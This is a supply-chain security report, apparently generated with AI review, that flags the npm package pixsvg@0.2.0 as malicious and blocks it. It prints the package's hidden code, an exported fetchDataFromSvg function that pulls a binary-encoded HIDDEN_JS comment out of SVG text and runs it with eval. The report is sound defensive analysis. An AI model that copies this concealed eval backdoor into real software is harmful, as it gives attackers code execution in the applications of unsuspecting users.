---
canonical: "https://firewall.lpm.dev/npm/pixsvg/v/0.2.0"
markdown: "https://firewall.lpm.dev/npm/pixsvg/v/0.2.0.md"
package: "pixsvg"
report_status: "published"
title: "pixsvg@0.2.0 npm security report"
verdict: "malicious"
version: "0.2.0"
---

# pixsvg@0.2.0 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Arbitrary code can run with the privileges of the consuming application.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Remote Code Execution
- **Selected version:** 0.2.0
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

An exported function executes JavaScript concealed in a specially formatted SVG comment. This creates arbitrary code execution when an application passes untrusted SVG text to that function.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 97.0%
- **Started:** 2026-09-03T15:31:00.150Z
- **Finished:** 2026-09-03T15:31:38.508Z
- **Download time:** 504 ms
- **Static scan time:** 282 ms
- **AI review time:** 37571 ms
- **Total time:** 38358 ms

## Security analysis

### Published attack-surface review

- **Summary:** An exported function executes JavaScript concealed in a specially formatted SVG comment. This creates arbitrary code execution when an application passes untrusted SVG text to that function.

- **Trigger:** An application calls fetchDataFromSvg with SVG text containing a HIDDEN\_JS binary comment.

- **Impact:** Arbitrary code can run with the privileges of the consuming application.

- **Evidence paths:** dist/esm/svg.js, dist/esm/index.js

- **Review source:** ai\_review

- **Reviewed:** 2026-09-03T15:31:38.508Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Decode hidden binary text and evaluate it as JavaScript.

- **Attack narrative:** The package exposes fetchDataFromSvg through its normal ESM entry point. The function looks for a HIDDEN\_JS comment in attacker-controlled SVG text, converts binary data to a string, and passes that string to eval. A consumer that invokes this helper on untrusted SVG input therefore permits attacker-supplied JavaScript to execute in its process. The hidden payload convention has no apparent image-processing purpose.

- **Rationale:** The exported hidden-SVG evaluator is a concrete arbitrary-code-execution capability and is not needed for SVG processing. Although it has no install hook or observed exfiltration, its deliberate concealment and use of eval warrant blocking publication.

- **Files touched:** dist/esm/svg.js, dist/esm/index.js

### Review decision

- **Verdict:** Malicious

- **Confidence:** 97.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** The package decodes a binary payload from an SVG comment and evaluates it as JavaScript., The arbitrary-code executor is exported from the main ESM entry point., The hidden payload format is unrelated to the stated SVG image-processing functionality.

- **Evidence against:** No npm install lifecycle hook is declared., No package-owned network endpoint, credential collection, or file-writing behavior was found.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. Low: Eval
- **Category:** Source
- **Confidence:** 45.0%
- **Path:** dist/esm/svg.js
- **Public source:** [View source](<https://unpkg.com/pixsvg@0.2.0/dist/esm/svg.js>)

Package source references a known benign dynamic code generation pattern.

Public source snippet (untrusted):

```javascript
L27: const data = binaryToData(match[1])
L28: eval(data);
L29: return data;
```

### 3. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 4. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 5. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 6. High: Semantic Analysis Limited
- **Category:** Scanner Coverage
- **Confidence:** 100.0%
- **Path:** dist/commonjs/svg.js\#virtual:normalized:round1
- **Public source:** [View source](<https://unpkg.com/pixsvg@0.2.0/dist/commonjs/svg.js%23virtual%3Anormalized%3Around1>)

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

Public source snippet (untrusted):

```text
stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 4
```

### 7. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 97.0%
- **Path:** dist/esm/svg.js
- **Public source:** [View source](<https://unpkg.com/pixsvg@0.2.0/dist/esm/svg.js>)

The package decodes a binary payload from an SVG comment and evaluates it as JavaScript.

Public source snippet (untrusted):

```javascript
function fetchDataFromSvg(svgData) {
    const match = String(svgData).match(/<!--HIDDEN_JS:([01]+)-->/);
    if (!match) {
        throw new Error('No data found');
    }
    const data = binaryToData(match[1])
    eval(data);
    return data;
}
```

### 8. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 97.0%
- **Path:** dist/esm/index.js
- **Public source:** [View source](<https://unpkg.com/pixsvg@0.2.0/dist/esm/index.js>)

The arbitrary-code executor is exported from the main ESM entry point.

Public source snippet (untrusted):

```javascript
export const Pixsvg = attachSvgSupport(createJimp({
    formats: defaultFormats,
    plugins: defaultPlugins,
}));
export const fetchDataFromSvg = fetchDataFromSvg;
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 28
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 17
- **Published dependency-graph edges:** 28

### Published dependency entries
- @jimp/core 1.6.1 (Dependency)
- @jimp/diff 1.6.1 (Dependency)
- @jimp/js-bmp 1.6.1 (Dependency)
- @jimp/js-gif 1.6.1 (Dependency)
- @jimp/js-jpeg 1.6.1 (Dependency)
- @jimp/js-png 1.6.1 (Dependency)
- @jimp/js-tiff 1.6.1 (Dependency)
- @jimp/plugin-blit 1.6.1 (Dependency)
- @jimp/plugin-blur 1.6.1 (Dependency)
- @jimp/plugin-circle 1.6.1 (Dependency)
- @jimp/plugin-color 1.6.1 (Dependency)
- @jimp/plugin-contain 1.6.1 (Dependency)
- @jimp/plugin-cover 1.6.1 (Dependency)
- @jimp/plugin-crop 1.6.1 (Dependency)
- @jimp/plugin-displace 1.6.1 (Dependency)
- @jimp/plugin-dither 1.6.1 (Dependency)
- @jimp/plugin-fisheye 1.6.1 (Dependency)
- @jimp/plugin-flip 1.6.1 (Dependency)
- @jimp/plugin-hash 1.6.1 (Dependency)
- @jimp/plugin-mask 1.6.1 (Dependency)
- @jimp/plugin-print 1.6.1 (Dependency)
- @jimp/plugin-quantize 1.6.1 (Dependency)
- @jimp/plugin-resize 1.6.1 (Dependency)
- @jimp/plugin-rotate 1.6.1 (Dependency)
- @jimp/plugin-threshold 1.6.1 (Dependency)
- @jimp/types 1.6.1 (Dependency)
- @jimp/utils 1.6.1 (Dependency)
- @resvg/resvg-js ^2.6.2 (Dependency)

## Package metadata
- **Package:** pixsvg
- **Ecosystem:** npm
- **Version:** 0.2.0
- **License:** MIT
- **Version published:** 2026-09-02T17:42:31.161Z
- **Package first seen:** 2026-09-03T15:31:38.508Z
- **Package last seen:** 2026-09-03T15:31:38.508Z
- **Known versions:** 1
- **Latest version:** 0.2.0
- **Appeal under review:** No
- **Description:** An image processing library for Node.js with SVG read, write, rasterize, and markup transforms.
- **Keywords:** pixsvg, image, image processing, image manipulation, svg, png, jpg, jpeg, bmp, resize, scale, crop
- **Runtime engines:** node: \>=18
- **Artifact files:** 35
- **Artifact unpacked size:** 3,342,557 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/pixsvg/v/0.2.0>)
